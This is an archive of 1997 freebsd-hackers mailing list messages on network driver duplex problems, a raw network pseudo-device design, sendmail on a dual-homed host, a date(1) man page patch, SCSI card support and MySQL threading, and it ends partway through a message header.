Mon, 11 Aug 1997 20:17:06 -0400 (EDT) Message-ID: <33EFABB6.ED65982E@lmc.ericsson.se> Date: Mon, 11 Aug 1997 20:17:58 -0400 From: Samy Touati X-Mailer: Mozilla 4.02b7 [en] (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: sendmil on a bridge Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I have a fbsd machine running 2.2.2 and it has 2 ethernets cards but it's not a router. I would like to have a sendmail config that will allow both sides of the connections to send mail to this machine (to a local user on this machine). Until now I was unsuccessful to get the mail working from both ends. Only one ends is working. Any ideas? Thanks. Samy From owner-freebsd-hackers Mon Aug 11 17:37:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA11938 for hackers-outgoing; Mon, 11 Aug 1997 17:37:03 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA11924 for ; Mon, 11 Aug 1997 17:36:56 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id UAA20574; Mon, 11 Aug 1997 20:41:27 -0400 Date: Mon, 11 Aug 1997 20:41:27 -0400 (EDT) From: Ben Black To: David Greenman cc: Tom Samplonius , hackers@FreeBSD.ORG Subject: Re: fxp driver full duplex packet loss problem In-Reply-To: <199708120004.RAA19545@implode.root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk a good indication of this duplex mismatch is a sudden appearance of FCS errors and Runts on the cisco interface. On Mon, 11 Aug 1997, David Greenman wrote: > > I have a Intel Etherexpress Pro100/B conneted into a 10BT port on a > >lightly loaded Catlyst 1900 etherswitch. The system is running 2.2-stable > >(last week), and traffic ranges from about 50 to 150KB/s output (as > >measured with netstat -I fxp0 -w 1) > > > > When I use "link0 link2" to enable full-duplex operation, I start seeing > >about 1 to 4% packet loss (measured with ping to and from the server). > >When I disable full-duplex, the packet loss disappears. > > > > Is it safe to change the full-duplex vs. half-duplex on-the-fly? Should > >I power-cycle/reboot between changes? > > > > Anyone else running this card in this kind of configuration? > > At least some Cisco fast ethernet interfaces (those on the 7000/7500 series > routers, for instance), don't support auto-negotiation. So when you force full > duplex on your end, the Cisco is still in half duplex. The behavior you're > describing is indicative of this. > To fix this, you'll need to set full duplex in the Cisco as well. > > -DG > > David Greenman > Core-team/Principal Architect, The FreeBSD Project > From owner-freebsd-hackers Mon Aug 11 17:37:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA11981 for hackers-outgoing; Mon, 11 Aug 1997 17:37:21 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA11971 for ; Mon, 11 Aug 1997 17:37:17 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wy4w0-0002FT-00; Mon, 11 Aug 1997 17:35:40 -0700 Date: Mon, 11 Aug 1997 17:35:40 -0700 (PDT) From: Tom Samplonius To: David Greenman cc: hackers@freebsd.org Subject: Re: fxp driver full duplex packet loss problem In-Reply-To: <199708120004.RAA19545@implode.root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, David Greenman wrote: > > I have a Intel Etherexpress Pro100/B conneted into a 10BT port on a > >lightly loaded Catlyst 1900 etherswitch. The system is running 2.2-stable > >(last week), and traffic ranges from about 50 to 150KB/s output (as > >measured with netstat -I fxp0 -w 1) > > > > When I use "link0 link2" to enable full-duplex operation, I start seeing > >about 1 to 4% packet loss (measured with ping to and from the server). > >When I disable full-duplex, the packet loss disappears. > > > > Is it safe to change the full-duplex vs. half-duplex on-the-fly? Should > >I power-cycle/reboot between changes? > > > > Anyone else running this card in this kind of configuration? > > At least some Cisco fast ethernet interfaces (those on the 7000/7500 series > routers, for instance), don't support auto-negotiation. So when you force full > duplex on your end, the Cisco is still in half duplex. The behavior you're > describing is indicative of this. I'm only running 10BT ethernet, not fast. That isn't a problem is it? There seems to be a lot of beating around the bush in the Cisco docs about full-duplex on 10BT ports. The Catalyst 1900 switch is supposed to auto-negotiate full-duplex. It > To fix this, you'll need to set full duplex in the Cisco as well. > > -DG > > David Greenman > Core-team/Principal Architect, The FreeBSD Project > > Tom From owner-freebsd-hackers Mon Aug 11 17:41:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA12325 for hackers-outgoing; Mon, 11 Aug 1997 17:41:11 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA12317 for ; Mon, 11 Aug 1997 17:41:06 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wy4zi-0002FZ-00; Mon, 11 Aug 1997 17:39:30 -0700 Date: Mon, 11 Aug 1997 17:39:29 -0700 (PDT) From: Tom Samplonius To: Ben Black cc: David Greenman , hackers@freebsd.org Subject: Re: fxp driver full duplex packet loss problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Ben Black wrote: > a good indication of this duplex mismatch is a sudden appearance of FCS > errors and Runts on the cisco interface. When I switch full duplex on the FreeBSD server, the switch starts recording late collision errors on that port (a 10BT port on a Cat 1900). I'm not sure what this means. Tom From owner-freebsd-hackers Mon Aug 11 17:51:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA12885 for hackers-outgoing; Mon, 11 Aug 1997 17:51:09 -0700 (PDT) Received: from ducky.net (gate.ducky.net [198.145.101.253]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA12860; Mon, 11 Aug 1997 17:51:03 -0700 (PDT) Received: from localhost.ducky.net (localhost.ducky.net [127.0.0.1]) by ducky.net (8.6.12/8.6.12) with SMTP id RAA04916; Mon, 11 Aug 1997 17:50:45 -0700 Message-Id: <199708120050.RAA04916@ducky.net> X-Authentication-Warning: ducky.net: Host localhost.ducky.net didn't use HELO protocol To: Curt Sampson cc: freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG Subject: Re: question about "ed" driver performance on ASUS SP3G & 486DX4/100 In-reply-to: Your message of "Mon, 11 Aug 1997 08:48:02 PDT." Date: Mon, 11 Aug 1997 17:50:45 -0700 From: Mike Haertel Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> I tried 16-bit copies; they were a little slower (about 16 and 18 >> seconds on the P5-90 and 486-100 respectively). > >I'd be interested to see what you get with 8-bit copies. Did you >drop the board into 16-bit mode before doing your 16-bit reads, >BTW? I'm not sure if it makes a difference on reads, but it certainly >does on writes. 8 bit copies were 1.5 times as slow as 16-bit copies--about .65 megabytes/sec. I tried both rep movsb and manually unrolled movb's. At this point, I've concluded the board is probably at fault... From owner-freebsd-hackers Mon Aug 11 17:52:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA12993 for hackers-outgoing; Mon, 11 Aug 1997 17:52:53 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA12988 for ; Mon, 11 Aug 1997 17:52:50 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wy5B4-0002G6-00; Mon, 11 Aug 1997 17:51:14 -0700 Date: Mon, 11 Aug 1997 17:51:13 -0700 (PDT) From: Tom Samplonius To: Samy Touati cc: hackers@freebsd.org Subject: Re: sendmil on a bridge In-Reply-To: <33EFABB6.ED65982E@lmc.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Samy Touati wrote: > Hi, > > I have a fbsd machine running 2.2.2 and it has 2 ethernets cards but > it's not a router. > I would like to have a sendmail config that will allow both sides of the > connections to send mail to this machine (to a local user on this > machine). > > Until now I was unsuccessful to get the mail working from both ends. > Only one ends is working. > > Any ideas? > > Thanks. > > Samy > > > > Make sure that you are using the same hostname on both segments (give the hostname multiple A records), or that you tell sendmail that you have multiple hostnames. Of course, you have't really described what you are experiencing, so I'm just guessing. Tom From owner-freebsd-hackers Mon Aug 11 18:47:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA15624 for hackers-outgoing; Mon, 11 Aug 1997 18:47:36 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA15618 for ; Mon, 11 Aug 1997 18:47:33 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wy621-0002Hc-00; Mon, 11 Aug 1997 18:45:57 -0700 Date: Mon, 11 Aug 1997 18:45:56 -0700 (PDT) From: Tom Samplonius To: Ben Black cc: David Greenman , hackers@freebsd.org Subject: Re: fxp driver full duplex packet loss problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Tom Samplonius wrote: > > On Mon, 11 Aug 1997, Ben Black wrote: > > > a good indication of this duplex mismatch is a sudden appearance of FCS > > errors and Runts on the cisco interface. > > When I switch full duplex on the FreeBSD server, the switch starts > recording late collision errors on that port (a 10BT port on a Cat 1900). > I'm not sure what this means. > > Tom Actually I do know (now) what that means. The switch (which is supposed to auto-negotiate and has no manual setting) is set to half, and card is set to full. I'm guessing the switch doesn't understand devices switching from half to full on the fly, and only detects this on intial connect. I will try turning full duplex on, and them plug it into a different port. Tom From owner-freebsd-hackers Mon Aug 11 18:50:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA15808 for hackers-outgoing; Mon, 11 Aug 1997 18:50:02 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA15779 for ; Mon, 11 Aug 1997 18:49:58 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id VAA21887; Mon, 11 Aug 1997 21:54:31 -0400 Date: Mon, 11 Aug 1997 21:54:31 -0400 (EDT) From: Ben Black To: Tom Samplonius cc: David Greenman , hackers@FreeBSD.ORG Subject: Re: fxp driver full duplex packet loss problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk assuming the 1900 has the same software config commands as the 5500 then you should just be able to say: set port duplex full and it will automatically switch right then. On Mon, 11 Aug 1997, Tom Samplonius wrote: > > On Mon, 11 Aug 1997, Tom Samplonius wrote: > > > > > On Mon, 11 Aug 1997, Ben Black wrote: > > > > > a good indication of this duplex mismatch is a sudden appearance of FCS > > > errors and Runts on the cisco interface. > > > > When I switch full duplex on the FreeBSD server, the switch starts > > recording late collision errors on that port (a 10BT port on a Cat 1900). > > I'm not sure what this means. > > > > Tom > > Actually I do know (now) what that means. The switch (which is supposed > to auto-negotiate and has no manual setting) is set to half, and card is > set to full. > > I'm guessing the switch doesn't understand devices switching from half > to full on the fly, and only detects this on intial connect. I will try > turning full duplex on, and them plug it into a different port. > > Tom > From owner-freebsd-hackers Mon Aug 11 19:54:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA20739 for hackers-outgoing; Mon, 11 Aug 1997 19:54:21 -0700 (PDT) Received: from friley01.res.iastate.edu (friley01.res.iastate.edu [129.186.189.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA20728 for ; Mon, 11 Aug 1997 19:54:15 -0700 (PDT) Received: from friley01.res.iastate.edu (loopback [127.0.0.1]) by friley01.res.iastate.edu (8.8.7/8.8.5) with ESMTP id VAA04339; Mon, 11 Aug 1997 21:54:20 -0500 (CDT) Message-Id: <199708120254.VAA04339@friley01.res.iastate.edu> X-Mailer: exmh version 2.0zeta 7/24/97 To: Curt Sampson Cc: freebsd-hackers@freebsd.org Subject: Re: DISCUSS: interface for raw network driver.. In-reply-to: Your message of "Mon, 11 Aug 1997 09:04:13 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 11 Aug 1997 21:54:20 -0500 From: Chris Csanady Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > >I should preface this post with the comment that I'm not any huge >expert on high performance networking; I just read up on it when >I can. > >On Mon, 11 Aug 1997, Chris Csanady wrote: > >> o An ack function in the pseudo-device to call when the send is complete. >> ... >> o An input function in the pseudo-device to be called upon reception of >> a packet. > >If you're interested in performance, you want to batch these as >much as possible to avoid interrupts. You should be able to chain >sends, at the very least. Possibly even better, if you're really >slamming stuff through the interface, would be for the application >to have a whole series of buffers that it fills and adds to the >chain, and when it runs out (or comes near to running out), a >function it can call to get a list of the buffers that have been >sent and are now free. Of course, there's some work to do here >regarding the best way to feed errors back to the application. This is not a bad idea, and would be fairly simple to implement. >For receive packets, you have to figure out what sort of trade-off >you want to make between latency and speed, and this is really an >application decision. If possible, deal with the reception of >several packets with just one interrupt. What I currently have in my driver allows for multiple receive packets to be serviced at interrupt time. However, if you only interrupt so often, you will have to implement a timeout mechanism as well. >But in the end, your whole strategy is not the right way to go as >far as really good performance, except in the (in these days unusual) >case where the application uses its own private protocol. If you But we do want to use our own protocol. The end goal is to use this as a bottom end for MPI or other parallel applications/etc.. >want to see how to deal with TCP/IP over Gigabit Ethernet, I really >strongly recommend reading ``DART: Fast Application-Level Networking >via Data-Copy Avoidance'' by Robert J. Walsh in The July/August >1997 (v 11 n 4) issue of _IEEE Network_. Do you have a url? Although I definately don't have the time to reimplement a large chunck of the TCP/IP stack, I am definately interested. I was hoping to work on implementing Van's pbuf architecture this summer, but I haven't had the time. Overall, I think that in the end, a real protocol is the way to go.. although there are just none that are efficient enough to take advantage of todays high speed networks. Chris > >cjs > >Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ >Internet Portal Services, Inc. Through infinite myst, software reverberates >Vancouver, BC (604) 257-9400 In code possess'd of invisible folly. > From owner-freebsd-hackers Mon Aug 11 19:58:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA21016 for hackers-outgoing; Mon, 11 Aug 1997 19:58:58 -0700 (PDT) Received: from suntan.tandem.com (suntan.tandem.com [192.216.221.8]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA21005 for ; Mon, 11 Aug 1997 19:58:54 -0700 (PDT) From: grog@lemis.com Received: from papillon.lemis.com by suntan.tandem.com (8.6.12/suntan5.970212) id TAA07638; Mon, 11 Aug 1997 19:58:48 -0700 Received: (grog@localhost) by papillon.lemis.com (8.8.4/8.6.12) id LAA00484; Tue, 12 Aug 1997 11:29:57 +0900 (JST) Message-Id: <199708120229.LAA00484@papillon.lemis.com> Subject: Re: date(1) In-Reply-To: <199708102053.VAA22190@awfulhak.org> from Brian Somers at "Aug 10, 97 09:53:41 pm" To: brian@awfulhak.org (Brian Somers) Date: Tue, 12 Aug 1997 11:29:55 +0900 (JST) Cc: hackers@freebsd.org (FreeBSD Hackers) Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Brian Somers writes: >> The documentation's inadequate. Sure, it points to environ(7), but >> since TZ is almost never used in BSD, there's a tendency to think >> it'll be like a System V TZ, which is completely different. How about >> adding: >> >> --- /usr/share/man/man1/date.1.orig Fri Aug 1 04:13:12 1997 >> +++ /usr/share/man/man1/date.1 Fri Aug 1 14:54:38 1997 >> @@ -171,6 +171,11 @@ >> .Bl -tag -width Ds >> .It Ev TZ >> The timezone to use when displaying dates. >> +The normal format is a pathname relative to >> +.Dq Pa /usr/share/zoneinfo . >> +For example, the command >> +.Dq env TZ=America/Los_Angeles date >> +displays the current time in California. >> See >> .Xr environ 7 >> for more information. > > But this is already mentioned in environ(7). Sure, that's what I said at the top. But it's not obvious what the reference to environ(7) is for, and the usage of TZ is different enough from that of other UNIX systems that many people, myself included, don't expect it and thus don't look at environ(7). Greg From owner-freebsd-hackers Mon Aug 11 20:22:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA22590 for hackers-outgoing; Mon, 11 Aug 1997 20:22:37 -0700 (PDT) Received: from friley01.res.iastate.edu (friley01.res.iastate.edu [129.186.189.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA22550 for ; Mon, 11 Aug 1997 20:22:21 -0700 (PDT) Received: from friley01.res.iastate.edu (loopback [127.0.0.1]) by friley01.res.iastate.edu (8.8.7/8.8.5) with ESMTP id WAA04402; Mon, 11 Aug 1997 22:21:18 -0500 (CDT) Message-Id: <199708120321.WAA04402@friley01.res.iastate.edu> X-Mailer: exmh version 2.0zeta 7/24/97 To: Terry Lambert cc: freebsd-hackers@FreeBSD.ORG Subject: Re: DISCUSS: interface for raw network driver.. In-reply-to: Your message of "Mon, 11 Aug 1997 10:19:59 PDT." <199708111719.KAA15515@phaeton.artisoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 11 Aug 1997 22:21:18 -0500 From: Chris Csanady Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> I am writing a pseudo device that basically sits on top of a network driver, >> does memory management, and exports the buffers to user-space. > >[ ... ] > >> A program will use it by opening the special file, and mmapping the >> whole chunk of device memory. It will then create an endpoint, >> specifying the foreign address, port number, queue length >> restrictions, etc. Now it can do IO by specificifying offset, size, >> and VCI. (Currently, I am using a series of ioctls for this. They >> include allocation, freeing, sending, etc.. of endpoints and buffers) > >Basically, the inverse of mmap'ing a file, and then sending an >address in the mmap'ed region to avoid the copy overhead. > >I think the main difference I see is that this would allow the >buffers to be non-file buffers, so for generated rather than raw >file contents, you save a copy, but for files, you are still one >user/kernel space copy over the minimum possible. I think so. I'm not sure how it would be the inverse of mapping a file though. You are correct though that there would be an extra copy involved for files. I'm hoping to use it primarily for parallel applications, so generated contents are of more importance. I'm not sure how you would make file io better as well.. >> The obvious drawback is that anyone using this interface will be >> able to trash eachothers buffers, but this seems a reasonable >> compromise. With only one page in use, there will be no TLB thrashing, >> and no overhead for vm mappings. Ideally, it will be as close as >> possible to providing a user level network driver without comprimising >> overall system integrity. Our initial use will be providing high >> performance, low latency communication for our cluster. > >[ ... ] > >> Initially, this arhitecture will be used for gigabit and fast ethernet, >> although if there are any glaring problems which would prevent use on >> other network architectures, I would like to know. Even with ethernet >> however, it will allow use of non-standard frame sizes on hardware >> which supports it, and will be a huge win. >> >> Thoughts? > >What about establishing an anonymous memory mapping? > >The mmap'ing has long been used to save the copy overhead, by causing >the uiomove() to take the transfer fault in kernel space (the user >space reference only exists to get a DT entry of some kind). DT? >If you mapped a file into a process (specifically, grabbed some >anonymous pages from /dev/zero), it seems to me that it would >provide the same facilities, without the danger that someone else >could stomp on your memory region which was pinned in the KVA space. This is a good point. Although there are a few issues. First of all, If I just grabbed pages from zero, they wouldn't be contiguous. This makes it more difficult in that the driver will have to use the physical addresses when dma'in in or out--which means scatter gather to an arbitrary number of segments. Also, unless only one process were allowed access to the device at a time, you couldn't know which segment an arbitrary packet should be dma'ed into. This may be a reasonable restriction though. >Obviously, if the mmap() stuff was fixed, the kernel mapping >would go away, so this might be a consideration. The above is mainly why all the buffers come straight from the kernel. It is the only way to allocate a contiguous chunk of memory upon boot. >On the other hand, the per-process descriptor table must be present >for your process to be running anyway, and it's unlikely to be >LRU'ed out -- especially if, on I/O request, you pin the pages >and have the completion unpin the pages? The general idea is to have a dual mapping throughout the entire time that you are using the device. >I think the remaining issue is the number of DT entries which need >to be rewritten on context switch. With your method, you add one, >but this is an artifact of the 4M page size -- you can get the >same effect by using a small region, and/or by making mmap() use >4M pages as well (a good optimization in any case). Well, I really dont understand how using 4MB pages at the same time as 4K ones, so i can't comment. It sounds nice though.. :) -Chris >Is there anything I've missed? > >I'm not sure it's necessary to go to the driver level an push the >mapping up from the kernel instead of down from user space... ? > > > Regards, > Terry Lambert > terry@lambert.org >--- >Any opinions in this posting are my own and not those of my present >or previous employers. From owner-freebsd-hackers Mon Aug 11 20:43:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA24032 for hackers-outgoing; Mon, 11 Aug 1997 20:43:47 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA24027 for ; Mon, 11 Aug 1997 20:43:44 -0700 (PDT) Received: from server.local.sunyit.edu (server.local.sunyit.edu [192.168.0.20]) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id WAA11942 for ; Mon, 11 Aug 1997 22:49:26 GMT Message-ID: <33EF96F6.167EB0E7@cs.sunyit.edu> Date: Mon, 11 Aug 1997 22:49:26 +0000 From: Alfred Perlstein X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2.2-RELEASE i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: SCSI support? urgent! plus driver info? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have a chance to buy a soundcard for my freebsd box for really really really cheap, it has an onboard SCSI controller the add says it's a: Adaptec AIC6360 chipset is this curerently supported? i know the combination of it being ISA and on a soundcard is going to make it a cheasy SCSI option but will it work? are there any bugs for that controller as of now? Thanks in advance. btw, how do you guys get programming information for the various drivers you guys write? i called IOMEGA about coding a driver for thier 2gig Ditto drive and a bunch of drones put me on hold forever then told me they don't release specs on thier hardware... i find this hard to belive as the ZIP drive is supported by various Unices... -- ._________________________________________ __ _ |Alfred Perlstein - Programming & SysAdmin for hire... |perlsta@sunyit.edu |http://www.cs.sunyit.edu/~perlsta : ---"Have you seen my FreeBSD tatoo?" ' ---"who was that masked admin?" From owner-freebsd-hackers Mon Aug 11 21:35:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA27657 for hackers-outgoing; Mon, 11 Aug 1997 21:35:32 -0700 (PDT) Received: from mom.hooked.net (root@mom.hooked.net [206.80.6.10]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA27642 for ; Mon, 11 Aug 1997 21:35:27 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@tibet-32.ppp.hooked.net [206.80.9.160]) by mom.hooked.net (8.8.5/8.8.5) with SMTP id VAA17096; Mon, 11 Aug 1997 21:35:14 -0700 (PDT) Date: Mon, 11 Aug 1997 21:35:17 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org Reply-To: Alex To: Alfred Perlstein cc: hackers@FreeBSD.ORG Subject: Re: SCSI support? urgent! plus driver info? In-Reply-To: <33EF96F6.167EB0E7@cs.sunyit.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Alfred Perlstein wrote: > I have a chance to buy a soundcard for my freebsd box for really really > really cheap, it has an onboard SCSI controller the add says it's a: > Adaptec AIC6360 chipset > > is this curerently supported? > > i know the combination of it being ISA and on a soundcard is going to > make it a cheasy SCSI option but will it work? are there any bugs for > that controller as of now? The 152x series (this is what Adaptec calles its AIC-6360 based carsd) is supported, but from what I've heard the driver is very flakey, and the card itself is very slow (even for an ISA card). Your best bet would probably be a Buslogic adapter or an Adaptec 1542C[F,P]. > btw, how do you guys get programming information for the various drivers > you guys write? i called IOMEGA about coding a driver for thier 2gig > Ditto drive and a bunch of drones put me on hold forever then told me > they don't release specs on thier hardware... i find this hard to belive > as the ZIP drive is supported by various Unices... AFAIK, they have a very low end Adaptec AIC (most probably 6360) based card that they bundle with their SCSI drives. The information for this is most probably available from Adaptec themselves. - alex From owner-freebsd-hackers Mon Aug 11 22:54:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA01785 for hackers-outgoing; Mon, 11 Aug 1997 22:54:40 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA01780 for ; Mon, 11 Aug 1997 22:54:37 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id WAA00238; Mon, 11 Aug 1997 22:53:57 -0700 (PDT) Date: Mon, 11 Aug 1997 22:53:56 -0700 (PDT) From: "Jamil J. Weatherbee" To: Paul Southworth cc: freebsd-hackers@FreeBSD.ORG Subject: Re: mysql: MySQL for FreeBSD 3.0 (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Speaking of mysql can someone give me an idea if it is possible to have mysql look like a sql (or any other commercial sql server) to a windows nt client. I want to set up a sql server on my freebsd machine (are there any commercial sql servers that are _easy_ to get to work with nt as a client [micro$oft access denied] ) I am willing to pay { well to a reasonable extent } since it is to be for commercial use, of course I like the fact that msql has a c library interface --- but how to get i so that access can look at some tables. On Mon, 11 Aug 1997, Paul Southworth wrote: > > Test release is available for people who want to try MySQL using FreeBSD > 3.0 native threads. > > ---------- Forwarded message ---------- > Date: Mon, 11 Aug 1997 12:27:55 +0300 (EET DST) > From: monty@tcx.se > Reply-To: monty@analytikerna.se, mysql@tcx.se > To: mysql@tcx.se, mysql-announce@tcx.se > Subject: mysql: MySQL for FreeBSD 3.0 > > > For those that want to test MySQL on FreeBSD 3.0 with native threads > and sockets, there is now a binary version available. This can be found > at 'http://www.tcx.se/.' > > This is a port of the 3.21.5 version. If one want's to compile this > oneself on can get: > > ftp://www.tcx.se/pub/mysql/hidden/mysql-3.21.5-alpha.tar.gz > > NOTE: > > One must install the FreeBSD libc_r patch BEFORE configuring the > source version. > > >From INSTALL-SOURCE: > > ------ > The pthreads library for FreeBSD doesn't contain the sigwait function > and there is some bugs in it. To fix this, get the FreeBSD-3.0-libc_r-1.0.diff > file and run this in the /usr/src/lib/libc_r/uthread directory. Follow after > this the instructions that can be found with 'man pthread' about how to > recompile the libc_r library. > > You can test if you have a 'modern' libpthread.a with: > > > nm /usr/lib/libpthread.a | grep sigwait. > > If the above doesn't find sigwait you have to use the above patch and recompile > libc_r. > > ------- > > Yours, Monty > > From owner-freebsd-hackers Mon Aug 11 23:01:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA02224 for hackers-outgoing; Mon, 11 Aug 1997 23:01:50 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA02200; Mon, 11 Aug 1997 23:01:38 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id XAA00276; Mon, 11 Aug 1997 23:00:19 -0700 (PDT) Date: Mon, 11 Aug 1997 23:00:19 -0700 (PDT) From: "Jamil J. Weatherbee" To: Tim Vanderhoek cc: Brian Somers , Greg Lehey , FreeBSD Hackers , freebsd-stable@FreeBSD.ORG Subject: 1000BaseT Networking In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk What I am wondering is why sessreg does not work (e.g. the sessreg that is part of X-Windows) I have not take a look at the source yet but was wondering if there is a replacement --- it should really be a part of the freebsd base distribution (in a more general form ofcourse). I have asked this question 3 times over the past few weeks, but noone answered ... I know someone out there is using this program, what's the deal? From owner-freebsd-hackers Mon Aug 11 23:20:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA03256 for hackers-outgoing; Mon, 11 Aug 1997 23:20:23 -0700 (PDT) Received: from kachina.jetcafe.org (kachina.jetcafe.org [207.155.21.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA03248 for ; Mon, 11 Aug 1997 23:20:18 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by kachina.jetcafe.org (8.8.5/8.7.3) with SMTP id XAA10981 for ; Mon, 11 Aug 1997 23:20:12 -0700 (PDT) Message-Id: <199708120620.XAA10981@kachina.jetcafe.org> X-Authentication-Warning: kachina.jetcafe.org: localhost 